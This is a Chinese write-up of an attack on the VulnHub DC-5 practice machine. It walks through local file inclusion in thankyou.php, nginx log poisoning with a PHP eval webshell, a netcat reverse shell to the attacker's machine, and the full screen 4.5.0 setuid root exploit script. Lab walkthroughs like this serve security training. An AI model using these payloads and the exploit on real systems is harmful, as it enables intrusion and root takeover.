DC-5靶机

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-5.zip

2.虚拟机配置

切换nat模式,有问题全选重试和是,打到这了,我感觉这个配置我都不用写了,启动靶机如下图所示即可

二.开始渗透

1.信息收集

同样,扫描kali同一网段,查看靶机的ip地址

arp-scan -l

得到靶机ip地址为192.168.111.133,kali(攻击机)ip地址为192.168.111.128

 用nmap扫描一下靶机开启了什么端口和服务

nmap -p- -sV 192.168.111.133

 开启一个http,去浏览器看看这个http服务

 翻译一下他的文章内容

 啥玩意没有,点击contact,发现一个留言板,测试了xss啥也没有

用目录扫描工具进行目录扫描

dirsearch -u http://192.168.111.133

 

扫描到几个比较可疑的路径footer和thankyou,点击进去看看

刷新他们俩的界面,日期会随机改变,thankyou.php引用了footer.php 

尝试文件包含读取thankyou.php文件和其他文件,发现有内容输出

http://192.168.111.133/thankyou.php?file=php://filter/convert.base64-encode/resource=./thankyou.php

读取/etc/passwd,可以看到读取内容 

2.获取shell

得知文件包含漏洞,我们可以在ssh日志,中间件日志以及临时文件中写入一句话木马然后进行包含,即可解析。我们可以利用nginx日志写入一句话木马

whatweb -v http://192.168.111.133

根据这个工具我们可以得知这个网站的中间件为nginx

在url中构造一个一句话木马并且访问,日志会记录下来

http://192.168.111.133/<?php @eval($_POST['mlws']); ?>

上面那个没试过,下面这个试了成功, 都需要在bp中进行操作

/thankyou.php?file=<?php @eval($_POST['mlws']);?> 

一般来说linux的nginx访问日志放在如下目录

/var/log/nginx/access.log

错误日志路径如下

/var/log/nginx/error.log

构造如下url

http://192.168.111.133/thankyou.php?file=/var/log/nginx/access.log

上面的这个链接试过了可以访问,下面这个链接没试过(可以尝试一下) 

http://192.168.111.133/thankyou.php?file=/var/log/nginx/error.log

 以上操作要在bp中发包,我直接在浏览器中修改,不知道为什么无法写入

如上图所示,我试了在浏览器中无法写入日志,打开蚁剑连接shell

 3.反弹shell

kali端启一个端口监听

nc -lvvp 4444

在蚁剑打开终端,输入如下命令

nc 192.168.111.128 4444 -e /bin/bash

用python创建一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

 4.提权

进行suid提权,执行如下命令

find / -perm -u=s -type f 2>/dev/null

可以看到一个screen-4.5.0,在kali的漏洞库查看是否有提权漏洞

searchsploit screen 4.5.0

刚好有两个本地权限提升的漏洞可以利用,查看漏洞的具体内容

searchsploit -p 41154

 查看文件的内容

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

得到如下内容

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

 先将第一部分写入libhax.c文件中

第一部分

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}

然后进行编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

将中间的代码存入rootshell.c中

中间部分代码

#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}

 进行编译

gcc -o rootshell rootshell.c

剩余的代码保存到dc5.sh

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell   

并且输入

:set ff=unix

将如下三个文件上传至/temp目录下(注意:不是/var/temp)

给予运行权限

chmod 777 dc5.sh
./dc5.sh

 无法执行脚本,发现很多wp都有提到这个问题,不知解决方法,也尝试了exim4,也是无效

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/779677.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Few-short Learning笔记-1

Few short learning 用很少的样本进行分类或者是回归 support set&#xff1a;小的数据集&#xff08;无法训练出深度神经网络&#xff09; few short learning的目标是让机器自己学会学习。 few shot learning是一种meta learning&#xff08;learn to learn&#xff09; 举…

Rust编程(五)终章:查漏补缺

闭包 & 迭代器 闭包&#xff08;Closure&#xff09;通常是指词法闭包&#xff0c;是一个持有外部环境变量的函数。外部环境是指闭包定义时所在的词法作用域。外部环境变量&#xff0c;在函数式编程范式中也被称为自由变量&#xff0c;是指并不是在闭包内定义的变量。将自…

MySQL学习笔记------DCL

DCL Data Control Language&#xff08;数据控制语言&#xff09;&#xff0c;用来管理数据库用户、控制数据库的访问权限 一、管理用户 1、查询用户 USE mysql&#xff1b; select *from user&#xff1b; 2、创建用户 create user 用户名主机名 identified by 密码&a…

向机器人传授人类社会同步的艺术

在数字时代&#xff0c;社交机器人正迅速成为主流社会的一部分&#xff0c;从培训医生和教育儿童到提供谈话疗法和客户服务。现在&#xff0c;这是一个价值数十亿美元的全球产业&#xff0c;对具有类似人类社交智能的机器人的需求不断增长&#xff0c;这标志着我们技术史上的一…

Linux之冯诺依曼体系,操作系统,进程的理解,进程状态,以及进程的优先级

个人主页&#xff1a;点我进入主页 专栏分类&#xff1a;C语言初阶 C语言进阶 数据结构初阶 Linux C初阶 算法 欢迎大家点赞&#xff0c;评论&#xff0c;收藏。 一起努力&#xff0c;一起奔赴大厂 目录 一.冯诺依曼体系 二.操作系统 2.1概念 2.2结构示意图&…

主流公链 - BCH BSV BTG

为什么出现分叉 BTC是自由的&#xff0c;BTC社区也是自由的&#xff0c;自然而然的会出现不同观点的群体 1. 比特币现金&#xff08;Bitcoin Cash&#xff0c;BCH&#xff09; 分叉日期&#xff1a; 2017年8月1日主要目的&#xff1a; 提高比特币的交易吞吐量和降低交易费用技术…

写作类AI推荐(一)

本章要介绍的写作AI如下&#xff1a; paperpal 特点&#xff1a; 面向科研人员的AI写作工具。可以选择自己的专业&#xff0c;如本科生/教授。 链接&#xff1a;Paperpal-专业AI论文润色与论文检测平台 笔灵 特点&#xff1a; 面向专业写作领域的AI写作工具。可以选择要写的文章…

人事管理系统|基于springboot人事管理系统的设计与实现(附项目源码+论文)

基于springboot人事管理系统的设计与实现 目录 基于springboot人事管理系统的设计与实现 一、摘要 二、相关技术 三、系统设计 3.1 整体功能结构图 3.2 功能具体细节设计 四、数据库设计 五、核心代码 六、论文参考 七、源码获取&#xff1a; 一、摘要 传统信息…

【ripro美化】全站美化包WordPress RiPro主题二开美化版sucaihu-childV1.9(功能集成到后台)

使用介绍 1、【宝塔】删除ripro文件&#xff0c;上传最新ripro版本&#xff0c;然后上传压缩包内的ripro里面的对应文件到ripro主题对应内覆盖&#xff08;找到对应路径单个文件去覆盖&#xff09;。 2、然后上传ripro-chlid子主题美化包到/wp-content/themes路径下 3、注意顺…

npm卸载不掉的解决方案

不管怎么重装重启都报错 真服了&#xff0c;npm卸载不掉绝对是有缓存存在&#xff0c;用where npm查到d盘 实际上根本不在这个地方&#xff0c;这个是我安装的6.14.12版本的npm的地方&#xff0c;我说我怎么怎么重装怎么导包都不行呢&#xff0c;偷偷隐藏在这个目录里面&#…

GRE_MGRE综合实验

目录 1、R5为ISP&#xff0c;只能进行IP地址配置&#xff0c;其所有地址均配为公有IP地址。 IP配置 配置公网全网通 2、&#xff08;1&#xff09;R1和R5间使用PPP的PAP认证&#xff0c;R5为主认证方。 PAP认证 &#xff08;2&#xff09;R2与R5之间使用ppp的CHAP认证&am…

如何修改IDEA的代码样式配置+代码格式化快捷键配置

目录 问题现象&#xff1a; 问题分析&#xff1a; 温馨提示&#xff1a; 1、IDEA的代码样式配置 1.1、Use tab character - Smart tabs 配置&#xff1a; 1.2、Tab Size 配置&#xff1a; 1.3、Indent 配置&#xff1a; 1.4、Continuation Indent 配置 1.5、应用并保存 2、…

openstack 不能调度到某主机上分析

dashboard显示有足够资源创建虚拟机 创建一个1c2g20g配置的虚拟机&#xff0c;在过滤时把10-197-0-2这个主机过滤掉了&#xff0c;日志如下&#xff1a; 2024-03-25 17:52:14.087 26 DEBUG nova.scheduler.filters.disk_filter [req-8f2f32fb-1efe-4e5d-81fc-618210c7c76d 773…

【LeetCode: 面试题 16.05. 阶乘尾数 + 阶乘】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

俄罗斯深陷芯片自主困境,良率仅5成 |百能云芯

俄罗斯的芯片产业一直以来都面临着诸多挑战&#xff0c;尤其是在当前的国际形势下&#xff0c;这些挑战更加凸显。随着俄乌冲突的爆发&#xff0c;西方国家对俄罗斯实施了一系列经济制裁&#xff0c;导致俄罗斯科技产业受到了严重影响。据了解&#xff0c;俄国最大的本土芯片厂…

[Java、Android面试]_14_Retrofit的作用

本人今年参加了很多面试&#xff0c;也有幸拿到了一些大厂的offer&#xff0c;整理了众多面试资料&#xff0c;后续还会分享众多面试资料。 整理成了面试系列&#xff0c;由于时间有限&#xff0c;每天整理一点&#xff0c;后续会陆续分享出来&#xff0c;感兴趣的朋友可关注收…

基于Arduino IDE 野火ESP8266模块 MQTT 的开发

一、库介绍 Arduino常用的MQTT库主要有PubSubClient。  PubSubClient库是一个广泛使用的MQTT客户端库&#xff0c;它基于MQTT 3.1.1版本&#xff0c;并且支持ESP8266和ESP32等Arduino兼容的硬件平台。PubSubClient库允许Arduino设备连接到MQTT服务器&#xff0c;发布和订阅MQT…

electron+VUE Browserwindow与webview通信

仅做记录 前言&#xff1a; electronVUEVITE框架&#xff0c;用的是VUE3.0 主进程定义&#xff1a;用于接收webview发送的消息 ipcMain.on(MyWebviewMessage, (event, message) > {logger.info(收到webmsg message)//转发给渲染进程}) porelaod/webPreload.js定义 cons…

C语言编译与链接

前言 我们想一个问题&#xff0c;我们写的C语言代码都是文本信息&#xff0c;电脑能直接执行c语言代码吗&#xff1f;肯定不能啊&#xff0c;计算机能执行的是二进制指令&#xff0c;所以将C语言转化为二进制指令需要一段过程&#xff0c;这篇博客讲一下编译与链接&#xff0c;…

Day26 手撕各种集合底层源码(一)

Day26 手撕各种集合底层源码&#xff08;一&#xff09; 一、手撕ArrayList底层源码 1、概念&#xff1a; ArrayList的底层实现是基于数组的动态扩容结构。 2、思路&#xff1a; 1.研究继承关系 2.研究属性 3.理解创建集合的过程 – 构造方法的底层原理 4.研究添加元素的过程…